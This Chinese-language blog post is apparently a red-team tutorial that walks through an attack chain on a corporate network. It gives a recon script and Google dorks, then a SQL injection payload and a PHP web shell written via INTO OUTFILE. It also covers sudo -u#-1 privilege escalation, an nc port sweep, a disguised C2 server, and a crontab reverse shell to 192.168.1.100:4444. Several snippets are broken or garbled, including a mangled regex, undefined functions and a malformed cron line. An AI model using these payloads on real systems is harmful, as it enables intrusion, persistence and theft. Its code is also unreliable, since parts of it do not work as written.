0x01 从攻击者的视角看红队演练本质

在任何一次红队攻防演练中,最重要的核心理念是:模拟真实的攻击者行为。红队并不是简单地跑几个漏洞扫描器或者执行几次脚本,而是设计一条基于目标环境的完整攻击链,从外部进入内部,最终达到目标。换句话说,红队的任务并不是找到漏洞,而是证明这些漏洞可以组合起来完成实际的渗透目标。

红队演练的本质是「Think like an attacker」,从攻击者视角考虑如何绕过边界防护、隐匿行为痕迹,甚至利用目标的业务逻辑漏洞以最小的代价达成攻击目的。在这部分内容中,我会通过一个常见的企业环境为例,带你从外部侦察到成功权限维持的攻击链思路。

---

0x02 基础设施情报收集的秘密武器

信息收集是红队行动中的第一步,也是最基础的。很多新手喜欢直接用工具扫描目标端口,但聪明的攻击者会通过被动侦察来积累足够多的环境信息。

1. 被动信息收集的三件套

以下是我在实战中最常用的三种方法,用于在目标尚未察觉的情况下获取关键情报:

1.1 DNS情报挖掘

目标的DNS通常能泄露大量有用信息,比如:

  • 子域名(可能是开发环境)
  • 邮件服务器(用于社工钓鱼)
  • 内网相关域名(暴露了架构)

黑客示意图

我们可以使用 crt.sh 查询目标的历史SSL证书,快速发现注册过的子域名。以下是一个Python脚本示例:

<pre><code class="language-python">import requests import re

def query_crt_sh(domain): url = f&quot;https://crt.sh/?q={domain}&quot; headers = {&quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;} response = requests.get(url, headers=headers) if response.status_code == 200:

提取子域名

subdomains = set(re.findall(r&#039;\b(?:a-z0-9?\.)+&#039; + domain, response.text)) for sub in subdomains: print(sub)

替换为你的目标域名

query_crt_sh(&quot;example.com&quot;)</code></pre>

1.2 社交网络分析

社交平台(比如LinkedIn、GitHub)常常泄露员工信息或开发中的敏感资源。以下是通过GitHub关键字搜索的方法:

<pre><code class="language-bash"># 搜索某个公司相关的代码泄漏 curl -s &quot;https://api.github.com/search/code?q=company+example.com&quot; | grep -iE &quot;login|html_url&quot;</code></pre>

黑客示意图

1.3 Google Hacking

Google Dork是信息收集的王牌技能。以下是一些常用的语法示例:

  • site:example.com filetype:pdf:列出所有PDF文件
  • intitle:index.of "password":寻找包含“password”的目录

---

0x03 横向突破:利用已知漏洞撬动链条

拿到目标的基础情报后,我们需要找到进入的突破口。这里以一个常见的场景为例:公司开发团队将某个测试环境暴露到了互联网,而这个环境使用的是一个存在漏洞的CMS系统。

1. 漏洞环境搭建

为了模拟,我们可以快速部署一个存在漏洞的CMS,比如 WordPress + 插件漏洞。以下是Bash脚本:

<pre><code class="language-bash">#!/bin/bash

快速搭建一个漏洞环境

docker run --name wordpress -e WORDPRESS_DB_HOST=127.0.0.1 \ -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=root \ -p 8080:80 -d wordpress:5.2.0</code></pre>

访问 http://localhost:8080,确认环境启动成功。

2. 漏洞验证

假设目标使用了一个存在SQL注入漏洞的插件(比如WP-Statistics),我们可以通过以下简单脚本验证:

<pre><code class="language-python">import requests

url = &quot;http://target.com/wp-content/plugins/wp-statistics/admin.php&quot; payload = {&quot;query&quot;: &quot;id=1&#039; UNION SELECT user, password FROM wp_users --&quot;} response = requests.get(url, params=payload)

if &quot;admin&quot; in response.text: print(&quot;漏洞存在,用户数据已泄露!&quot;)</code></pre>

3. 利用漏洞

这里可以尝试通过SQL注入直接获取管理员账号密码。如果目标没有防御措施,可以尝试写入反弹Shell:

<pre><code class="language-sql">UNION SELECT &quot;&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;&quot; INTO OUTFILE &#039;/var/www/html/shell.php&#039;</code></pre>

然后访问 http://target.com/shell.php?cmd=whoami

---

0x04 内网横移:把一次突破变成全网失守

进入目标系统后,我们需要进一步扩大战果。以下是可能的操作:

1. 本机权限提升

如果目标是Linux系统,可以尝试找系统提权漏洞。例如常见的Sudo提权:

<pre><code class="language-bash">sudo -u#-1 /bin/bash</code></pre>

2. 网络横向移动

通过枚举其他主机,寻找共享文件夹、弱口令或未打补丁的服务。以下是枚举内网的简单脚本:

<pre><code class="language-bash">#!/bin/bash

枚举内网IP和开放端口

for ip in $(seq 1 254); do echo &quot;扫描192.168.1.$ip...&quot; nc -zv 192.168.1.$ip 1-65535 2&gt;/dev/null done</code></pre>

黑客示意图

---

0x05 隐匿与持久化:隐藏在目标网络中

完成渗透后,我们需要确保不会被检测到,同时构建持久化后门以便后续操作。

1. 流量伪装

将攻击流量伪装成合法流量。一个简单的例子是把C2通信伪装成普通HTTP流量,以下是一个基于Flask的伪装C2服务器:

<pre><code class="language-python">from flask import Flask, request

app = Flask(__name__)

@app.route(&quot;/api/v1/data&quot;, methods=[&quot;POST&quot;]) def command_and_control():

解析加密后的C2命令

encrypted_command = request.data command = decrypt_command(encrypted_command) result = execute_command(command) return encrypt_result(result)

app.run(host=&quot;0.0.0.0&quot;, port=80)</code></pre>

2. 后门植入

以下是一个利用crontab实现简单持久化的例子:

<pre><code class="language-bash"># 每分钟运行反弹Shell echo &quot; * /bin/bash -i &gt;&amp; /dev/tcp/192.168.1.100/4444 0&gt;&amp;1&quot; &gt;&gt; /etc/crontab</code></pre>

---

0x06 经验教训:细节决定成败

红队演练是一场需要耐心、技术和策略的攻防博弈。以下是一些经验总结:

  1. 情报永远优先于工具。用脑子分析比盲目跑脚本更重要。
  2. 攻击链条要完整。单点突破很难造成实际威胁,只有构建攻击链才能达到目标。
  3. 隐匿行为是关键。被发现一次,整个演练就可能失败。

红队的工作,是在敌人察觉之前完成所有目标。如果你能做到这一点,你就真正进入了攻击者的领域。